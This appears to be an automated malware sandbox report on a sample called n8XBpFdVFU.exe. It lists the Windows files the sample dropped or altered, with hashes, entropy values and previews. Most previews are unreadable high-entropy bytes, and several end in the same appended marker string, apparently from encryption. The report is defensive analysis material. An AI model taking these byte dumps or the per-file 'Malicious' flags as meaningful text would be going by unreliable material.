r...F.nF(........bA.?.i.T.,.@...]>y....;..Tg~..[.VP../,......LY..D..Y#.F.1...=?.+...r>5.\|...$.mR.h..c0...x.m.@.G...IET...q.=.'........j..(.3....../...q\|...HsW..WA.<.0.!7.0x..7:M;q..h.X.-b.$..z..h.W...+w.E2a...\|...)X.8o...+$A..y..]2.cf{.J.'.Z_q'..i....d..X.0...r..LT...`....F...-f.x......,b..L;.....Gu..TeQid..f..0.....h...E).a.....$2.Wj..4.%@..B.T.......<..N....x.3_k.e........QK(/s2.q..z.&F.E..a.E..w.:C..&.}G}..T(..,....8rn......'..g.{A.....ek..Z.0.....v.....gKX~.0.......UU!....0.:.G1..+.K..j..H.?jk.f.(.O~C...4.D.5.ZI.@.Q.'.Yu......@.z_K.}f......M..?...$.D..Oe..p..X0.Sm....7.J....)....k.nb......dM..."t..w4....N...6.....

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.335417152040058
Encrypted:	false
SSDEEP:	6:QjMmgUTXetUSB3MIkTOgon/WEWS0zMiCOQcvyPicquJhm1zrWyc3cii96Z:Q+UXYMIk6ghS0gh6vyPhGP1+cii9a
MD5:	E04A1404AD89F16753BEA04DA9AF84E8
SHA1:	848690AFC3194E55E72B2B67A605331FBB85B552
SHA-256:	B21133F452C58948BEC1C61576F51962F5AFB2EAEAC648E1570411F8A482DB53
SHA-512:	C75FB4CFD542A7EF116B977B3FA26DE300CE521A934AA12931AF5F18660730DFAD1C2E5BF74BF57BEA950A084D7DA4BE50C91E9BF8733F0EC62A417886B46DBE
Malicious:	false
Preview:	1,"fu&..<..Z.)..[1..x....iD..].$R.6(.O...!.3x...\|...[.-&...aX.2.......zI.^R.<\|]..GC+...-.nc.;...qx..u.P1.(%.8):Z...^ .'.P..V....Q...W....K<f.........E...G..0)....A....$[....H...f..!.!..)[w}r..v.B.'n....M..[.R9..g.S.,O.z.hkMq..TQ..c.x~.7V..e....KltG/.NF.oZci.o.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.833772510020373
Encrypted:	false
SSDEEP:	24:hEYSd77a0eMXKg/tDILtnd3tOXQLoml1Svbc2rGttNaHlbD:hXSB7amXKgyltYAoiSzcwGttNwD
MD5:	211FCD1311911E32AF5B34C8AE229E7D
SHA1:	8E92237F6CFF916BA793DDE9F8B15269EFB68960
SHA-256:	828AC8CB9F4D81626D5B9D53CA1889D18EFB1ED15B279E8A11D96C3692A64B27
SHA-512:	40A57C4ABFE47837103260D20E05A7AE384E3A7370B9792709159A43F4FEFEF2C8179D477D8DE75E22DC07DA0BE61E246129E541041AE718A743C9DE860F4066
Malicious:	false
Preview:	1,"fu..H.....DQ.qM.0.".9`J......A?.8..jlb..}.Q...L.:.W..r....K..u....w/S....)....uN.w.2R..m.R..1..LH...... -.....7R..........{.e. o..]......t.5.F./T9.V.T... H}6.{..!6B.pX....,.6..g...<..f.4.ch_p0:&.....K...S..-B..p..g&b#Q....M01;n5.x..!.y..ZFIGX...i45....F..a}...0.~w....g.....{..{k.'....0.&i..r';......K.B...OU.G$......A@.{....a.H..[..F4...,.a...v.T.{..x9\|....WV.\|.#....F.M.&L..\|..XJ......J..Q.;wl.......O.....Y..c.1..=.'..C..>;....V..__...N.Tgz..h...6.tW:..U1.8.n....g....QIK.jQ......^x.t.....:.I../{$gX..b.H1....i...o.L).UI..w.r.......].'.S?MI-...0....d.$.\7.w7..8.q....\.n...y.7.......;9o..fK.s.8L......%...D.4f..^...>..V;?.{..~..q.x.s..u.F....g.4rS.<;}.{.D.......RZ..V.....].}..^-...6..B.......B.J.......3.{M..........b=.......2R.R..!I?..>....o..\|...V.t..E.-....s4......E.>)y5t$.......Q4 KE...)..5....%{.?.Bl<........D\=N...r...L..3<w...(>.*. ..,....4...t...D5h".....Y..q.21.1....\|...S.8rU..kW1.8..q...X.(...;(m(.CkS...........K{.L.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989298593492842
Encrypted:	false
SSDEEP:	384:4Ao4TiQwIWMRoCFF5qkiiW6bMgQcT8xwY14Ikggd3KbM0TSj:46izeigFtWNgQfTfE0ej
MD5:	AC8C4AEFF823682CD9D9C6602FE1B331
SHA1:	13CA6C0A1514794310388A1274B8131B0CCA8D11
SHA-256:	E42F4B7AE590FB186333075D62E8F5FADEE7277FB4D1453ECBFAD249274A1327
SHA-512:	2D78B499F2625172BE575A7E5EBC578E51B3001AE13B8EA52E8E76ACDF60849C7577A1FDF1A4D6AD7DBEC60903F798557C9D2C0C04DD48520228A9EA5E2D1B3F
Malicious:	false
Preview:	...@..;).L.N...lU...D...ko.B......g...S..d.r.g.3...nlZ.6...:.!...vfa..&b83X .....1\|..-.....S.chK...S..wO.F....En`.M..D..A.....9k..P....C-.~....J....mj#..d=!..U.D.T.6:.m..<.._-y.s5g=^A.l......5{.........\,.z.=.;9.pFH./m2..-.#.0.}...{......2\C"...B.5`..+.>m.#.C.v..o.n..1...3.k.......3%.(..5P..I..k..H,fb....l..0o.!.^Rw.{..t.A..A.Q.b.D..X.-..n..i.f....;.\.N..}..n.{..=?....A..{.A....U....h.8.6\..7M....$7NT..p..}.K.K.....b@.D....0Tp...T..l............i..`vq^.<%i....~f\|.l..A.A...U........../.mt:!nz.NDL.........E"..p....d=..J..X.8..[.`...JJ.]a!......<.Qd"...#.H...)Y.....e.sYN.6 ......u..LK............V......<.....DzC....!T......Fes_i.Al..8.4[*...:a.g.. ......jk......];...%.Y8.9. J....n:.N.?......Sj.~qb..b...a.g..^7.S....~cd.P..^A..^...q{JhH.].i.-.........r..@..R7.....x....,....-w.....[..a.bW....q.D...y.3$.+.z.....=-2....Y..y.a..w..Af5.......x.......6.%4......4H\.?g....(}.~.........^.$...fA...E....1..gt......=.)....mQH.....yGC4.W....;....H[....c.D.N

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.792723884933086
Encrypted:	false
SSDEEP:	24:X3DtOBkW4uqv+5/cgD9IATREUVz4zBIVsqElAbD:XTtOBkWsmGgD9IATRlV1VrAaD
MD5:	D93A8A815D62743671A6D349EF6705D8
SHA1:	1421BC4AEF10E8005CC209031C3369813F5AE54F
SHA-256:	624B8FCE9AE0706D7BD74D503B7E7A282D4E231DCFD5012FE9D1E9B3031E9DC1
SHA-512:	F6380FE29E0C277866396402AEFDCB11F719D324C2943673D77D13CBC3E6AA5BDE0BA1A062FD060535E0ADD9D059451442B62A702A3081B0BDDCBAF0A2F3A53B
Malicious:	false
Preview:	.f.5.p.L5....duA.E.\|g.?E.?=^...#..\..'<(.U^j.j.b{...M...C...[.Pk.........3.=$r..-.{.=....=....6.j.B.........]...].D.8n">.. ...OV...g...5........l..4..&.K!..%.F/............s[..{d .B..P1.^.....j..I-.t....pL"....>.k\|.q.].....x.w'..5...f7c+..%q#....d.p.E..ed..p.e.... D.#V......W...LA<..O....74...H.zx...........z.....w....Vb.....+n.t._.&...y.Nr..V...u]...3.{..4..+..A.(...z@.8b.N....{.,.dN.........`T.q....U.<.3..Y..O..(D...y.......G....@.!.}.M\..UM...p...a.#.U...Y....3lBt...Z......w.gN.%.t...._._.{.%.q....Sxj.Z...D#...../.Jt>..-....`.:m..zd..J...k...7,S...@.....F.8T..B.1.4.J..:..L.;..g$._50R.2...1..U>.~.P.\Ff.(.OX...y..\.8....%,q..........%.\|!.)..U.3.i...V\....k...n..W>...D..!3....<.N.....3[x.OS.jQ~+......u.M.PR\...]..6...a.a..........Q......4\......\|....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.480977506566065
Encrypted:	false
SSDEEP:	12:SWtYedJxL2DUM1lRZBLv4TnxqgTk1+cii9a:LijijdT/bD
MD5:	330BA5AAA78CF26DCF40A4E3A35CC858
SHA1:	22E127FEB63FA56D062F50576BE39E9F416F0197
SHA-256:	2A5DB326AFEBCD94DEA6995E4F45F8263A6C82B592555B4924AD3C5EDEBC6054
SHA-512:	CB34D78403DDE0DD36DB7EF4CB74F219EBD7CFEFA56543167B3C27F525D08BD7C75518FC8B01265C0531D91DC9DB559DCD4A5CEFF60469352D0BAF5BF303636F
Malicious:	false
Preview:	...#.l.$].=..q=.5:3G)1._-..xH......#%...2.D...S....I.\|..o..F..W.3...#..S.Y....c.<CJ]..l6o....X...l....9...gK..XA.;.l....C..;.\i.....v.M.gZ&.sF......8.k1...y..].\|L.8..I^.g.!.....4g%RI.(qg.....s..M.......y...8...p...=m..^.l....np.R5j..t.x...Mg.jAj......=..m..oN.2.(.P..h.nV.%.J8..z9..y$kv...g..+.../q..............G...O$.....ZY>.Yl..}.....~PY:..P.....WtV[.-.t...c..<..)...,.....aP6.'Yr.;mN<;.oSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.337679362504246
Encrypted:	false
SSDEEP:	6:rclaGW5hxjjgwZ2ouIY9CDti8pjcMl5cXQ5d8//5tGzEwWyc3cii96Z:rc4GWJzZ2PL8X57H8PGzEw1+cii9a
MD5:	64A79D3D7D2D7E7D2385CEAD6FAFBDD5
SHA1:	80615CEC3FFFF0D6A0660693F9196D67D86AAD27
SHA-256:	A046C9646C924B982AE218F66DED7D80FA5A9C9B582E2CE2F36CEED38361FF86
SHA-512:	FC4C0B6E677BB9233FDF41AD4715DA18C7494BAF60E71CA5E8A39C2D5EC6C11E216576CF95780B76B74D93A46DC06957F0A6B0EDB0113A72C69D23530D400A44
Malicious:	false
Preview:	.On.!e....o.>..........v.!...Z....u.c.......Uf?\....=r.\|.$.\|.R<./Yhw...'..%..~.->.."...B....fw.M...5...0...A'Nu..!4.M.s_M.....j..7.DKJ..H.j..r4J..eBg.......D.<R}wn..T`r.uO}...5.8..X5.. ...W.,-..R.........f.....+.t.w.sR....s.s..... ....qO.o...q..b...?....~..`....;.I....I.Yo......!...=..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.675077998920928
Encrypted:	false
SSDEEP:	12:kKPBq9x+1D3sF8zRkPLbBT+iUZQ+aqm2jgKcrdpU/q2RucaOLjlu7KuHhjcb1+cq:7q+YqdkPLb0AXv1dpUS2R4gg7VhAobD
MD5:	038892EAC24AAEE7CE71904A4F1980A1
SHA1:	B98DC1797FBA8EE12DA9F8F087F41DCB307CAA92
SHA-256:	4D1AC280B11FDC828126F980478BD2829F0143133A3BA57DD87177E0BC8861AE
SHA-512:	272DCA390A39884C68D52CC1CB3DDCCABA77F275DA53C4C57A387277B0D88B47CA54870D37D5657A2A6A03FE6590DDA86F32B6D67BF98384685DB57CCB2D5C33
Malicious:	false
Preview:	2023/qP5}K.\..&y}.x. .......@U...R@...I...2'.p...rV.....1.#.H;.c,P............C.7....uU..@x...`.:..b....]...@6..$....Bd?.&..e...^....e.<..P3.Y.Q.e."2..jg...cA...QD...w.v...4x..A..k:.P..k.-.}>......)n...6#........~.m.s..d4...K......}._1.....rQ....v.eW.,.<.Q=....#$..E..o.A..~.iY...A.n.M.v.... .<.D..Z.F.<.?../r!...a"\..N...@.....<.~.........yY.@..A.B.3....8.....T......=?..........7.KZK......=....T..`...z.....SH.y.0hX8vn.t.mh.......{ez=.RJ..3........sM...:2.........{..kK.S.t.Xl.zG$....3r..f...$....._'.....[N2......2..~l.~..['E.p........J....`.fy'.3..y........>.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998648819459442
Encrypted:	true
SSDEEP:	3072:VUmA+4vDTncXp0ew5iLYDhrtzEIczkN31fBmism1:nA+GrBew5iLMtzwzkN1fBmi51
MD5:	DF58BCA6F3040C2A62ABD3F18257CD8A
SHA1:	B10DA3039269C0572ECB3ABC98374ED961A15FA1
SHA-256:	06D4A8765701B15061DB523FC3809BF4BA438590940DE9DA6F7A4113B9432D40
SHA-512:	8E7CC9ABA7EBBCBB35689F63572D66E26B7D61F40549D3AC57CED0FC645F7EB7D4BD9FE3A9D74B83EACCCD1D7BF59749EF3669AFE157BC974B96E6610B7A8874
Malicious:	true
Preview:	{.. 8....<\|._...1.......VCQ5d....<GB..%.d.p+j.J".[....k...HAJ...W. $.U.....8H,.l.uw.p..t........Ru....n/8.0~RT.0...F.Ud..]....q..#..~...F@C....2..l>}...........D...G..j..T.HM.1&}.o...`+.......l.-oX.....u.d.o.`\|`LN.;..x,&f...P...8..v.(s.........+.'g]P....+...{3..Kw<.........0W.._&.(...H.h....C"."7SRgu..O~......kb...'.7<c....0...4....)&. >.<[..A.{.....b..:.....o..oEV...../...>7'2)v..~....TP....."X..>.c..Q.rj.x~..E.h.^.w.m....[!N..".......#.c....W. >..WX....Wzm=..%.........3..o+.....u.....2....C$W.S.#f..@..........+.................4..a ...s..ze.....1..sa.x.!..f/K.Pv...L....q..jq.CA..fT"&.s../..)......c. ...x....1}...64....0...m...<..Y..y.V.m..^:q6^..,.L.....{...W.$.N'.T.......o...CYfCQ....\|.R.....?..*..M.?..lvr.....Y..y. ..}.r....?."kh...[R.m.9...=..a...~..^..c.....:?h..$!C.\|...X.8..>..}..8'1...V.\|3 d.}].$................F..w..M.:.o..8.qC...Z.&F....od.t.[Fg.w..G.F..9.......U..f...~P..K.?.6n ...F4Qo.L.$W:Z...T..{.AD.>..

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978385649463131
Encrypted:	false
SSDEEP:	3072:D7I9M4dnAExDxOyBYGAat3jfWtidso/FFje1/5x5cxXBdBQ8kTo4islIX87ZXav:Dk9vDxV5B+a5fQidso/F2/5cbzQ8yis8
MD5:	605E478396A7160045701B4F42F785C1
SHA1:	7D8A4DCCB493C1D3FFA813F4CB59D09960AB1365
SHA-256:	84DC3CAFF59C7D4FDEB26B23E40BAC527B6768A5EDA57ED4F68EE3C0AD2BE64D
SHA-512:	E3FFB1989EB6977C95C978EA40E7BAE5D1D1B4482061F5A7C3AFC9DDB80DCE138361F237E8975173807FB9685BD7D6DD391332C2897E9E4FDDB3E1140D9401DD
Malicious:	false
Preview:	{"MajF.."RevY.n.....LY.4.J.R....b.j...u..[..aM...1....!.~Y..L...jO..8CoD..9._..s...L..tw...y..;~.....6s]..F..4A.,........6.-.h...M...nv.2$)....\..?......c.C7.-..r.PN..x..9"j.q....T........D\.G.@:A.D...C...pp....H.F.........5g<.`......Jk1...Y`...#...n... .}H.....J\....GKj.jz(~C.....:o.X.. .@.lCNx...\|..e..M.N.i/.5..+...0..i..).Y[.d...G...#>0.@.k.?.u..=wETu...^..q..<C..Q..b.,P..3.LW".....F...A.>......+.t5..=0.....=.V....'&".9bt...v.k;R...L.q`...\...}..l...E....+H.....iQ.-Q..L.k............O...bD2i...o8.y...K..IMk.E.~$1W@...e.c~..gq......e...V...kR..`.:\.O......#...9?._.T.........K......\L..#..9.Fq.n...3.,P..w..\.. ..#..Y..;.I1.6.U..jD..C.8..@$m...$.Ln.C..Eny..:.....x.k.'7.m@'.>^p*...<U.....B.!cA.w...X.6}.....c...d.S.....8.....hwi....4V@.]..~............A......af...K..{....Y.N.cB5.9N.(.g.P1&.....[m....).....#k..P..x\z.Vj.n2S...D/].@....W.b..9..(..@{..m.v....6..>..R........S.Zt.,.:.R./(.H.b..r.H.....c...T.._.J,..N>...u.8/R.=Z....o.[....8.....

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.905954407597392
Encrypted:	false
SSDEEP:	48:HXzXk11PLAYVUUTLR+83lRPa53Fi8rb9hBVZiFR4Lu4u6bLH6bD:3zU5XTL3Pa9Fiq9hBaRqu2LaX
MD5:	37D2962773AE5D8589E0D2BE59B53CD0
SHA1:	7EBCBC6EF87768ABEA7688770C49B3DAA99E978D
SHA-256:	FD87269EF6C5195A7B54591697C9BFB19CB0B461D355B3554703FDBF325D0FC0
SHA-512:	4F961008561AEB88A7106B8B6F2AD1BAD1304A8A6F48779C2777C6EB3E9D4D0D2D3CCB74ED91BB32A219DF55AA5E0564E8697497609FDD9A9878A5AB6CAB2FFB
Malicious:	false
Preview:	<?xml.x.....-.H.....>..\..Lt...2.Y=..S..;........%~.+....`{ .Mrh..KL..G!...jR.)V.#....1.y......g(.Z.o-^h... .......Aa.ew.&L.../S..ah...N.....1.u/`.......j.eE.....QQ4....o,VAr.X.`/p'.....t....."m........nT.n.`........6F.%e.........g.......i.kn...C.,!.V._<..A...p%...J....yq...`.s.C..UHr'.g?..@....A../.7f......4.....t.v.._.5\|.N....s..a..8r.Y..U...~...M#.8..s_#.(w<"..`GU.%C....tb../.&dF.v......x@q...M. g..j.J.r.0.~c$)9...<9......#.{&4.!.>.........y.-..u..$f..i.....%`l..._e....5!.I...YR....a1h...\..<..C..=....Zqos...:....8......9../R..B!K.....K..&.Z.>....&)c.,..%."..~....:...D...........tu.!...De.....N....+.j....q.&..r.M..g2...Ze....F..hY).......b.b.. ...Cee...i.....l......Hh8X}..>,<x.jLM...~)..q..p{..N...;C.;.`...........J.....9M4+.V>....Ul...j.?[\|.7.N.c.:^}.r.6.: \|Rn.....Zl.A..2O.l.*.p...!mV..#~.Y...ix...pFyxG..<si....5..-.GP..{..".$.o..~.H......P.P......w@?.JU9m..v...'}J..M.........$.9...L.=.,J7%". JM...w......I....Gl....0.,...w.qZ...\..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	238254
Entropy (8bit):	7.233842483924721
Encrypted:	false
SSDEEP:	6144:jNICh2QrMx8d35kB6M4AB3qhARSXAaa/dIDiA4:jWCh2QOiqg43KA5IDL4
MD5:	89B8AE7534E3EDAF7011D21202F68945
SHA1:	661D85A4472B957E0DDEB2EFC629B71E38C7A690
SHA-256:	7216B5F4D8E8276668AF49B93E7135A9498F2B17255422E5761B94B6270CCF0D
SHA-512:	614BC51BD71E53D34F5481CD7F0CA9B8797A9A86DD27BC30E8CEC0703C82433FCB29DD3CF3DF21D46134A932DB6C3A919DB0B9148BF07D9B3EE08C7C0333F0A4
Malicious:	false
Preview:	.......cP.,.D.m...V.+...\|g......L....\|..~.T\?.p...]M..O.~.iMq'..;U..Cm.W.\|.j.HX..<=.58.mi...0..l8F..S.b2.......N. .1..Gv.0..r.....!.`..>MS.?k.P..C2;.......\|m%}....2.5Q.s..3.i..a...........u.....,.....~\n...y6....%.."..4.z".M.iX.Z[K..'.:....lx.d.e..+.)).tl..@...w."......K...g..n......LUn#.Q...`.~...&....&..a.[.o..8...{g.J..TH...Sm...?8P.....{.nKE./..+8.......$?u.GorIBc...L....V<...>I.M..f..j..d.....e,l....,.....H.0......?;.zs..q...\|&...>...]......k).7X.{H..,......2..j{t.B....\|r..T......p.....`T.L.w;./.F..0.....o.#....D8e....f....C${....APm.>...........u..1t......e...G.J.....8C[...nl..`.....qc..`r...{...1.E\.5R.......R...y.....Cs.....z$........kw.+..B[.\|.s.q4~..v.....U..j.....Z.....)...o..{..y..<...S..KY.`.~.i..."%.;.$.~...R.Y-...&J...............K.....Tj....=..3.u9P.7.5.......z..#..0.Yk.O...U.v...^..N......B..5fu.'>.G.....iF..}..r....'.T.%.m.cr......W...<....B..8..j.GH...e.*.{..P.&..^.3...... Z...\.z....a.;...g.P..3.7p.2w...3.C..9.m

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	240882
Entropy (8bit):	7.263621633784958
Encrypted:	false
SSDEEP:	6144:9LvU5U4eUAcEneUGbx9EyCbUb1zAYusEp4:9yULrcEtszCbiJEC
MD5:	3B4D5E9800222C849107856EBB04A065
SHA1:	86E6C3370CAA8CA59E3013F4F2087F922F26F358
SHA-256:	75513D36C03AEF2B72E2F860F63C87B88F56C2F722DA4A7A855220F9C7F1ABEC
SHA-512:	E9048C3C7697FF892961E517314D289FBF5DB6E23D21369568615DBA31C1E5A30D286B71419F5311CEC3F6D5E64B2ADDBD20D2811FCEBE349BF662589BF3B519
Malicious:	false
Preview:	..........D..o\|.;;%7.I.pQ..p;...)8.....X..)..m.'..p..%.a...C^.jw.o..8.Z.......M..CF .........-.l.x..,.;.....OH.T>/.io....(X0p.....$....('.........e .......!...v..~'I(lg..KV.B...A......y........0..L.5.O.+`.-....:.,....H.y..]..;.c..ag."Q%.........w~....(..J(HgY..*.._...I"........[n.q.:..4.Wp@..F..a.n...-....\..+....?n,DA!EN6...4B$,..KV..Y..m....r.[..@/...\|x.N}w..9j....{9..Q.g)...^..XbQ...X%...P5?Z............'4Z(.Y".......m..".jI:pE..?......gx'\....S3.....aj.f\/F.....8a..'......u..Y....-.e.$}(.n.....vBG.jG.....m+#9....aL....o..M<..v.3&..r5{.H..~.fV.':....o._.G..u\|.7.....RG.[.[Y..H./7.`...\|.B.k6Lf%q[...Z...[..mq.BV.."..?.N....>VY.q e....=#......S......?\|..."...Y....Q5.w~......N.:......K...E.....Fm#`#......:..3...5x..j.A(..a.....>.2G~....x.k\|......#..#u;j....Ev.j#.....@..Y.FpP.o[d..i...\N%....gQj..}.F...4...e.>.?..1.M.ew..&...FZ= [.9.8...>d..t?...)]..%....r._.j..(...j.....&..... .N=#.\|..A........x..XU.I.(B.....}c]Ak;.{...w...;.%...d.......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	241750
Entropy (8bit):	7.259066522031136
Encrypted:	false
SSDEEP:	6144:2V+HtuvVCSywLJCWrKrZXIy4en3N3yXslcsWSvq2Z:M+HtKVb9gqKrihslHjP
MD5:	E576E45EA126907A8F8D016FDD8B0E28
SHA1:	7D06490399A076D2256C076DC8FCE16EF142C2CA
SHA-256:	83E1ED7CA714352AB53F344CFCC09ED8916690D96692427C1951A291A6A683A2
SHA-512:	D38153D8D80F60026667771F67D51594AB7F02F0887F42A93DC711688B8E54FA77C7BEF78162CC2CB12F52933C816C05073E73D3DBA1550F7A835C34B0615894
Malicious:	false
Preview:	......Q......D.A.$.=.?..PF{=...K..nv...l$..E.k.J.....#....TP..SI.....&..n.y............e$.....0.JQ...E0t.6....x..#.Wk.<j'.%.PY\|....<.......to......5.uZ...O.......}...p.{.W..z....&..O..IWbf.K..a...k..8;.w&.4........\|.KV.<D.f.......FG....v#.- (...."..8....s.o..+,.BD...PJ,....p..Z.&....1_.nk..2...E...fOA...J....@.4...:.\|:.W.9=.Ai.X.;7}^...R.>...h..l......_..u%..(..i;)..".+.,=.....f..y].=5.... ......8c..p.<$...{-b...Y..`ap.......W...f.=.k.&..Q...;...E%.\|..J.'D.w... .u....T>5.y.@.\|iB.n.I[..6o..... .3.,].S.\|.k..=..5O`..."nS~.{.t...x$M7m..<.>.@....T.u...[j.%.2..,m..g.q..z.f..o..H.....\.........a...=2.?o8a.)..;...<.2....cD.A.BK.Y....i.B^@.?.:.+..50E.N_X......I..:...Fd.]....l......>f.x..s....D.G...@#.gN.{l...e5....rJ.cb6..dJar......}..p.]h_...[G6...t.:......<U.....&t....R...j.....4E.n....aN..7....K..<....i.&..[....\.G<v... .z...O.uS...X.[3P....OE.m.'../y......^...28.....kO..V....l.H...f.hL.v..=....tqP..Rid...y.>g.3h....X...!..NbS.T'..Q.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	238962
Entropy (8bit):	7.233203905153172
Encrypted:	false
SSDEEP:	6144:uUNyspbNRvcQUKQ+drLdsbUzp9PxBvdb/tDpAT:jys5UkRLdsb+9rdpqT
MD5:	E55D70AAE9CC7B6C7633DE1E59E52A81
SHA1:	BDCD97168CBC01D717C80891773892CCB68B82AD
SHA-256:	72E57F9BB95D5C0B59C468272195A3361D20B96B1192832868A1525A6D4D9962
SHA-512:	78FBE1FAE6499FD1C9167C62B381A40C15231D27388D65E256A2DC4C00306AE64801080FF981AF8F305B34AD41037344683DF7791ABA0B792A4E74F816069395
Malicious:	false
Preview:	.....c..AL...(Q.............<....,.1.....K...b..xA+.!+.........nU5.......c..Q..".j.........U7....&./.185.........=..@X.O.D.J...{g..rF.H.,...f..u^....T.....y..K.9).`.&..tD!.RH'r..Lp...........{z.!.:M.Q.!..].^n...:...o...:v..$.1..~.un..-..>.A..J..4......R..M.....HX...."z...:...Q..jX....sm,..'..h9=..5......w..Cf....`.......v..oM\4g;.".ym..'..Z(....e-.j.#.Oh..X.\|d..U+.6G....ZAy.......n.mG~.q.iq.......E.......t..]&^.uK..s..I.y8.).f.....0GN..2....SOQa.r.&..e..P.F....Z.t.C.....O.oL.......g.(...ocO..s.p..V..?.t.Cu<F..,.&..nrg..Wkc.d\i................X....$n..{^.,.....>..c.T]....'...[.........w0.K4s....7....o..d.....6..SPXb..c....Eg....b..N..#....;...Jj...e......Zo.'..{.=..T........j7.C..b../!..0.....=..o....4GF.0&Ob/f...'..{M.Q.......x.$....M!...4.e...,...D.*.........!..u<A.....`......k8\|.[..........+..x.....WR8.....c...>8.F...M#.n....a.......T!..P.$c.R..6W.2.w....~.;d.;/c(.5O.....,.<A..3..t.}.f......M..\..eoHVX...V.55.....a.j...0

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.237809309282896
Encrypted:	false
SSDEEP:	6144:brAjKblu89pas+Zcyro+zWfI5zsuV4icd:iKQ82dZ7rFrznV4jd
MD5:	0F0E337014433BD00E385E77397B48F6
SHA1:	AA5C767F387759687A28EC1AECDD06400CBA9C1E
SHA-256:	096C69CDBB23E95D02CC099CDCB1AD58CF8E0F27AF058E6ADB500779A6CEC8B3
SHA-512:	E6588A85B74FE83D1FA92AB9CD7BD036F52B9E5122B2D3A39EA9C6396A2D86E4B7793FAE7BCDB5B31DF3F5AD5AF8D818B2B405A39961FB38776D58EA729E2959
Malicious:	false
Preview:	......"...!...2m.wFE.(.CEN../.......z..H.`.~L..........mP6N......W6.I B....[Avh}k.#..K...N...^$4.v".E.....TT......Z{\|Bf...-~[zKJ.t>iF.I?pwr.I.......i..;.e.....h7.o1JI~.&...n..&....(.my.d.6.^e..p....D!Kh..ks.lR.O.c.t..}P.(J.Y........X....O~V.0.d1..c.@;6W?.\......."..U.i\...w....w....\|......O..E..G./.U..@...J.N.0..M.HG.g.x.+.......x........mm)...Q.x.3....i..KR..9c&...U.I1...,.<..;....?..<..kh.....1..H-5.#.~b.,.(..w.N\|...t..]...S..I..K....E"..T..PQ.D.......JC@.u{.I,m .]...u....E@U.W.K.-.E..z..E.{&.m..H.@.....)N.t..-r.3.:e.T....'..Vv....\'.....[.w.......$......dmr_V'!.?....!Y....c#8.T..o........9.W"07..+.Z....u..Q......z.$....,/./.^2 .R...'....>..#.h...=.'1T.+,..{..5SNc.?....ey..F\|...\...%.....<l..E#M.c.s"...Zv\|>...t..`\..4.i...d.A.r.H..'s)..s../n'..P.~.c....w.W...9....cJ....z7.....D!..C..>...I9.e.r...P.T...%\|...S..r%.. 